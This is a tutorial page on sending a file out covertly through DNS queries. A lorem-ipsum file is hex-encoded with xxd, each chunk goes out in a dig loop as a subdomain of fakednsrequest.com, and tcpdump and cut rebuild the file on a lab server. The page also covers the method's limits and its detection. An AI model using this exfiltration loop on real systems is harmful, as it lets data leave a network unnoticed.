File-transfer-via-DNS

You guys already know DNS encapsulation (e.g. dns2tcp) to transfer data over DNS but I've found a very interesting post from Johannes Ullrich who introduces a relatively stealthy concept (https://isc.sans.edu/diary/Packet+Tricks+with+xxd/10306) to transfer data via DNS requests. It consists of sending hex parts of a file as part of DNS requests on one side and to capture and split these DNS requests on the other side. No specific tool is required but tcpdump and xxd.

Client: 192.168.1.29
Server: 192.168.1.23, running bind9 DNS server

Encode file

On the client side, prepare a plain text file:

client$ cat > loremipsum.txt << EOF
> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
> tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
> quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
> consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
> cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat
> non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
> EOF

Then, encode your file in Hex:

client$ xxd -p loremipsum.txt > loremipsum.hex

Transfer file

On the server, start a tcpdump probe that will capture all DNS requests from your client:

server$ sudo tcpdump -i eth1 -s0 -w loremipsum.pcap 'port 53 and host 192.168.1.29'

On the client, send each line as a fake DNS request:

client$ for b in `cat loremipsum.hex`; do dig @192.168.1.23 $b.fakednsrequest.com; done

Once all requests have been requested by the client, stop the capture. Here is how the requests look like:

server$ tcpdump -n -r loremipsum.pcap 'host 192.168.1.29 and host 192.168.1.23' | grep fakednsrequest
12:08:58.329214 IP 192.168.1.29.54172 > 192.168.1.23.53: 39667+ A? 4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f.fakednsrequest.com. (97)
12:08:59.348640 IP 192.168.1.29.54251 > 192.168.1.23.53: 45714+ A? 6e7365637465747572206164697069736963696e6720656c69742c207365.fakednsrequest.com. (97)
12:08:59.435167 IP 192.168.1.29.61604 > 192.168.1.23.53: 65328+ A? 6420646f20656975736d6f640a74656d706f7220696e6369646964756e74.fakednsrequest.com. (97)
12:08:59.638909 IP 192.168.1.29.60176 > 192.168.1.23.53: 33114+ A? 207574206c61626f726520657420646f6c6f7265206d61676e6120616c69.fakednsrequest.com. (97)
12:08:59.715597 IP 192.168.1.29.53987 > 192.168.1.23.53: 24783+ A? 7175612e20557420656e696d206164206d696e696d2076656e69616d2c0a.fakednsrequest.com. (97)
12:08:59.766398 IP 192.168.1.29.53719 > 192.168.1.23.53: 4470+ A? 71756973206e6f737472756420657865726369746174696f6e20756c6c61.fakednsrequest.com. (97)
12:09:00.632051 IP 192.168.1.29.52365 > 192.168.1.23.53: 61980+ A? 6d636f206c61626f726973206e69736920757420616c6971756970206578.fakednsrequest.com. (97)
12:09:00.709879 IP 192.168.1.29.51128 > 192.168.1.23.53: 53988+ A? 20656120636f6d6d6f646f0a636f6e7365717561742e2044756973206175.fakednsrequest.com. (97)
12:09:00.755917 IP 192.168.1.29.59786 > 192.168.1.23.53: 30998+ A? 746520697275726520646f6c6f7220696e20726570726568656e64657269.fakednsrequest.com. (97)
12:09:00.816321 IP 192.168.1.29.61625 > 192.168.1.23.53: 46229+ A? 7420696e20766f6c7570746174652076656c697420657373650a63696c6c.fakednsrequest.com. (97)
12:09:00.862252 IP 192.168.1.29.63196 > 192.168.1.23.53: 27593+ A? 756d20646f6c6f726520657520667567696174206e756c6c612070617269.fakednsrequest.com. (97)
12:09:00.918015 IP 192.168.1.29.52375 > 192.168.1.23.53: 42492+ A? 617475722e204578636570746575722073696e74206f6363616563617420.fakednsrequest.com. (97)
12:09:01.057845 IP 192.168.1.29.55582 > 192.168.1.23.53: 44245+ A? 6375706964617461740a6e6f6e2070726f6964656e742c2073756e742069.fakednsrequest.com. (97)
12:09:01.105330 IP 192.168.1.29.56880 > 192.168.1.23.53: 17982+ A? 6e2063756c706120717569206f666669636961206465736572756e74206d.fakednsrequest.com. (97)
12:09:01.162269 IP 192.168.1.29.59910 > 192.168.1.23.53: 19163+ A? 6f6c6c697420616e696d20696420657374206c61626f72756d2e0a.fakednsrequest.com. (91)

Decode file

Use a combination of cut commands to extract the hex part:

server$ tcpdump -n -r loremipsum.pcap 'host 192.168.1.29 and host 192.168.1.23' | grep fakednsrequest \
 | cut -d ' ' -f 8 | cut -d '.' -f 1 | uniq > loremipsum.hex

Now let's decode our file:

$ xxd -r -p < loremipsum.hex
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat
non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

This method is relatively stealthy because:

there is no encapsulation of the data;
DNS requests seem legitimate.

However:

the content to transfer is twice the size of the initial file;
it can become relatively visible because the frequency of the requests can become suspicious;
depending on the size of the file to transfer, it can take a significant amount of time;
unless the file is encrypted before being hex'ed, one could intercept the requests and rebuild the file;
Big file transfers can result in corrupted files (UDP).

As a matter of fact, the transfer of an initial 15K file (an image) will require 500 DNS requests

$ ls -lh aldeid.png 
-rw-r--r--@ 1 sebastiendamaye  staff    15K 16 fév 12:38 aldeid.png
$ xxd -p aldeid.png | wc -l
    501

and an initial 23M file will require 792K+ requests:

$ ls -lh tintin.*
-rw-r--r--  1 sebastiendamaye  staff    46M 16 fév 13:00 tintin.hex
-rw-r--r--@ 1 sebastiendamaye  staff    23M 16 fév 13:00 tintin.pdf
$ wc -l tintin.hex 
  792903 tintin.hex

Though it could be possible to identify such traffic with Snort rules, the most obvious way in this case relies on a trend analysis (i.e. ntop) to identify anomalies:

File-transfer-via-DNS - aldeid

Encode file

Transfer file

Decode file